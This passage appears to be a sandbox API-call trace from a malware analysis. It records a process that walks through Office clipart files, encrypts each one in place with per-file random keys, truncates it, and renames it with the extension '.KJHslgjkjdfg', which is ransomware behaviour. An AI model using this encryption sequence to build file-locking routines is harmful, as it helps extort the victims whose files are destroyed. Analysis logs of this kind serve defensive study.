SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.671] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.671] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.671] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.671] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.671] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3014, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3014, lpOverlapped=0x0) returned 1 [0193.672] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3020, dwBufLen=0x3020 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3020) returned 1 [0193.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.672] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3020, lpOverlapped=0x0) returned 1 [0193.673] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x30f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.673] SetEndOfFile (hFile=0x130) returned 1 [0193.674] GetProcessHeap () returned 0x990000 [0193.674] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.674] GetProcessHeap () returned 0x990000 [0193.674] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.kjhslgjkjdfg")) returned 1 [0193.676] CloseHandle (hObject=0x130) returned 1 [0193.676] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107300.WMF", cAlternateFileName="")) returned 1 [0193.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.676] GetProcessHeap () returned 0x990000 [0193.676] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.677] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.677] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.679] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.679] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.679] GetProcessHeap () returned 0x990000 [0193.679] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.679] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.679] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.679] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.679] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.679] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.679] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.679] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.679] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.680] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.680] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x99c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x99c, lpOverlapped=0x0) returned 1 [0193.680] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9a0) returned 1 [0193.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.680] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9a0, lpOverlapped=0x0) returned 1 [0193.680] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.680] SetEndOfFile (hFile=0x130) returned 1 [0193.682] GetProcessHeap () returned 0x990000 [0193.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.682] GetProcessHeap () returned 0x990000 [0193.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.kjhslgjkjdfg")) returned 1 [0193.683] CloseHandle (hObject=0x130) returned 1 [0193.683] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107302.WMF", cAlternateFileName="")) returned 1 [0193.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.685] GetProcessHeap () returned 0x990000 [0193.685] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.685] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.685] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.687] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.687] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.687] GetProcessHeap () returned 0x990000 [0193.687] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.687] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.687] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.687] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.687] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.687] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.687] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.688] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.688] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.688] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.688] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1028, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1028, lpOverlapped=0x0) returned 1 [0193.689] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1030, dwBufLen=0x1030 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1030) returned 1 [0193.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.689] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1030, lpOverlapped=0x0) returned 1 [0193.689] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.689] SetEndOfFile (hFile=0x130) returned 1 [0193.691] GetProcessHeap () returned 0x990000 [0193.691] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.691] GetProcessHeap () returned 0x990000 [0193.691] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.kjhslgjkjdfg")) returned 1 [0193.693] CloseHandle (hObject=0x130) returned 1 [0193.693] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107308.WMF", cAlternateFileName="")) returned 1 [0193.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.693] GetProcessHeap () returned 0x990000 [0193.693] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.693] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.693] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.693] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.693] GetProcessHeap () returned 0x990000 [0193.693] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.694] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.694] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.694] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.695] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.696] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.696] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.696] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.696] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.696] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.696] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3e10, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3e10, lpOverlapped=0x0) returned 1 [0193.699] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3e10, dwBufLen=0x3e10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3e10) returned 1 [0193.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.700] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3e10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3e10, lpOverlapped=0x0) returned 1 [0193.700] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.700] SetEndOfFile (hFile=0x130) returned 1 [0193.702] GetProcessHeap () returned 0x990000 [0193.702] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.702] GetProcessHeap () returned 0x990000 [0193.702] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.702] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.kjhslgjkjdfg")) returned 1 [0193.703] CloseHandle (hObject=0x130) returned 1 [0193.703] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107314.WMF", cAlternateFileName="")) returned 1 [0193.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.704] GetProcessHeap () returned 0x990000 [0193.704] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.704] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.704] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.706] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.706] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.706] GetProcessHeap () returned 0x990000 [0193.706] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.706] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.706] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.706] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.706] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.706] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.706] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.707] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.707] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.707] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.707] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a64, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a64, lpOverlapped=0x0) returned 1 [0193.708] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a70, dwBufLen=0x2a70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a70) returned 1 [0193.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.708] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2a70, lpOverlapped=0x0) returned 1 [0193.708] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b44, lpNewFilePointer=0x0, 